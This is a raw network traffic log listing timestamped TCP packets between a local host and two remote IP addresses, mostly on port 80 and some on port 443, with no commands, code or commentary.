Nov 20, 2024 08:12:36.957027912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957040071 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957052946 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957062960 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957101107 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.957101107 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.957170963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957182884 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957285881 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957298994 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957308054 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957319021 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957326889 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.957326889 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.957331896 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957345963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957356930 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957369089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957376957 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.957376957 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.957381964 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957494020 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.957684040 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957695007 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957705975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957715034 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957726955 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957736015 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.957737923 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957750082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.957786083 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.957786083 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.958101034 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.958116055 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.958126068 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.958137989 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.958147049 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.958158016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.958172083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.958182096 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.958184958 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.958184958 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.958194971 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.958205938 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.958218098 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.958224058 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.958224058 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.958437920 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.970426083 CET	443	49840	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.970906973 CET	49840	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.970920086 CET	443	49840	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.971612930 CET	49840	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.971622944 CET	443	49840	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.975270987 CET	443	49839	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.975385904 CET	443	49839	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.975440979 CET	49839	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.975720882 CET	49839	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.975742102 CET	443	49839	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.975775003 CET	49839	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.975781918 CET	443	49839	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.978746891 CET	49844	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.978781939 CET	443	49844	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.979105949 CET	49844	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.979105949 CET	49844	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.979142904 CET	443	49844	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.996731043 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.996742964 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.996748924 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.996819973 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.996831894 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.996843100 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.996884108 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.996884108 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.996922016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.996934891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.996989012 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.996989012 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.997073889 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997083902 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997090101 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997132063 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.997132063 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.997219086 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997230053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997235060 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997242928 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997252941 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997265100 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997276068 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997282028 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.997314930 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.997314930 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.997483015 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997493982 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997507095 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997517109 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997528076 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997546911 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.997546911 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.997659922 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997672081 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997682095 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997694016 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.997740030 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997752905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997757912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997762918 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997767925 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997780085 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.997802973 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.997802973 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.997834921 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.998174906 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998186111 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998197079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998209000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998219013 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998229027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998239040 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.998239040 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.998239994 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998254061 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998265028 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998275995 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998286009 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998296976 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998303890 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.998303890 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.998310089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998364925 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.998522043 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998533964 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998545885 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998564959 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998569012 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.998579025 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998591900 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998599052 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.998603106 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998615980 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998637915 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.998637915 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.998919964 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998934984 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998948097 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998960018 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998970985 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998972893 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.998984098 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.998999119 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.999016047 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.999136925 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.999181986 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.999192953 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.999203920 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.999214888 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.999226093 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.999237061 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.999249935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.999249935 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.999249935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.999260902 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.999295950 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.999295950 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.043064117 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043076038 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043087006 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043152094 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043162107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043171883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043183088 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043184996 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.043184996 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.043194056 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043243885 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.043243885 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.043329000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043339968 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043351889 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043375969 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.043474913 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043486118 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043495893 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043505907 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043518066 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043540001 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.043540001 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.043605089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043617010 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043683052 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.043683052 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.043747902 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043766975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043777943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043787956 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043798923 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043808937 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043819904 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043831110 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.043843985 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.043843985 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.043900967 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044090033 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044101000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044111967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044121981 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044131994 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044138908 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044276953 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044287920 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044300079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044311047 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044312000 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044312954 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044322014 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044332981 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044343948 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044364929 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044364929 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044393063 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044549942 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044562101 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044572115 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044585943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044604063 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044614077 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044614077 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044627905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044639111 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044646025 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044646025 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044728041 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044907093 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044917107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044928074 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044939041 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044949055 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044950962 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044960022 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044972897 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.044984102 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.044986963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.045025110 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.045025110 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.071260929 CET	443	49840	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.071471930 CET	443	49840	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.071567059 CET	49840	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.071718931 CET	49840	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.071737051 CET	443	49840	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.071748972 CET	49840	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.071754932 CET	443	49840	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.075165987 CET	49845	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.075197935 CET	443	49845	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.075264931 CET	49845	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.075540066 CET	49845	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:37.075553894 CET	443	49845	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:37.273616076 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.278580904 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.278597116 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.278609991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.278639078 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.279351950 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.279438972 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.313335896 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.318295956 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318309069 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318320036 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318341970 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318351030 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.318353891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318366051 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318387985 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.318485022 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.318519115 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318530083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318542957 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318557024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318568945 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318584919 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318593025 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.318593025 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.318780899 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318792105 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318804026 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318815947 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318825006 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.318825006 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.318851948 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.318859100 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318872929 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318882942 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318893909 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318905115 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318917036 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.318918943 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.318943977 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.318967104 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.319364071 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319375038 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319386005 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319396973 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319417000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319431067 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319441080 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.319441080 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319441080 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.319454908 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319468975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319479942 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319490910 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319497108 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.319497108 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.319503069 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319514990 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319515944 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.319520950 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319526911 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319533110 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319539070 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319545031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319550037 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319556952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.319643021 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.320137978 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320148945 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320193052 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320204020 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320214987 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320226908 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320235014 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.320235968 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.320239067 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320271015 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.320436954 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320447922 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320458889 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320481062 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:37.320576906 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320588112 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:37.320599079 CET	80	49833	185.215.113.16	192.168.2.6
